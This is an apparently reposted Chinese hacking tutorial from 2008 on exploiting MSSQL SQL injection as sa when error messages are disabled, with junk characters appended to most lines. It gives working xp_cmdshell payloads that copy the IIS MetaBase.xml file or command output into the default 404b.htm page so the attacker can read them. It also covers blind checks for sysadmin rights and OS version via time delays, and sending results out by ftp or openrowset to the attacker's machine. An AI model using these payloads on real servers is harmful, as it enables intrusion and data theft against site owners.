遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。# I3 k. H8 g7 O4 H
! q( k9 S5 H5 ~0 o
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。2 l: I6 d2 p4 A7 q* \8 E) o# M
1 y: H/ n8 y$ b$ Y- M0 P 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
$ h4 _, A5 ]: _+ ^6 T1 m" p( V6 ^& H: }- W1 C( f2 Y6 L
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm- j* W& O' C# x2 t# d0 @' c9 i) a" }
4 q: q ]2 _% w0 h9 S5 J o. I1 G
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--$ w/ G0 R- e% d. f' g
& ~% X& @7 K# Y ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。! q. \7 c! m- |# O
" @7 j) h0 S( G1 m0 L; p1 q* E 执行命令得到回显
/ S3 f6 u$ j4 V8 ]7 K, {+ K+ Y+ q0 {) ^( g
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--# n. h! s- T1 | H. E4 D& }& I
8 ?2 m8 e, n' Q0 G! c; h/ C 得到文件也shi相同,把文件copy到404b.htm就行了
! c" E! o- x9 C$ b+ Z: n, Q1 s: d; k
! T' @# J# Q* v8 t' T P* B by 28ice, 2008/6/26
@/ K H% L3 U# E! |8 G7 p/ _& t( p8 r% Y9 c( ^& w C f
摘自 28度的冰) J& T8 n+ I6 c) E7 K/ {
. a) i3 f$ {" n1 B
盲注判断权限和操作系统版本
8 K4 H* ~$ C: y, B* S' V6 G* b9 g9 G7 v4 X5 ^ |4 C- J) K
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
8 u7 _+ x2 a- `6 b& ^6 y9 u) n4 S( H) Z: u, L
最简单的,可能以用这样的方法:
0 _* j! p* b) c" K; ~4 H. R
3 t. R& m* M; v9 g 1=(select IS_SRVROLEMEMBER(’sysadmin’))
( h* t# I9 l2 }, ?
) _3 L# o6 ~0 Z5 {" i 当然,有些情况下,这个方法并不奏效。
x; Q: j5 l% M* q& y
/ K4 T3 v/ T- z$ a& s; ~4 ]& g 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。: s% _9 [2 e) i
; d) G4 b2 n, B" K9 R2 N2 {, @
有个3办法可能以解决这个问题7 B1 }7 R$ A3 f% Y
k" ^) k e {* M a.把执行结果写到404b.htm,具体请看我的上一篇文章8 ?% r/ j5 U0 Y- S1 v- o
6 \& o6 }0 H8 K! ~. g' K
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟 L& F5 f6 k/ |. k( q6 O1 r
7 V0 J2 w9 N7 j/ Z6 b1 U c.如果1433端口可能以连接,那干脆新建个sql登录
3 z5 T' M3 U" V0 I3 v$ |# l- X- f% ~4 g$ }3 ?1 q
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数$ c3 i3 F/ n+ K' O
/ m) D* i0 X, t; \
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
4 d1 Z0 D- A3 i/ ~- r. M
/ X3 J6 `0 w. l0 |* X T ~; C 很简单$ R% [! z2 L, X% u6 f" H7 H. @. Q9 t
. I4 U2 m R3 I
执行systeminfo
% o& k! S9 L* L! b3 y
! S7 G" ^8 x3 X5 W/ o 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |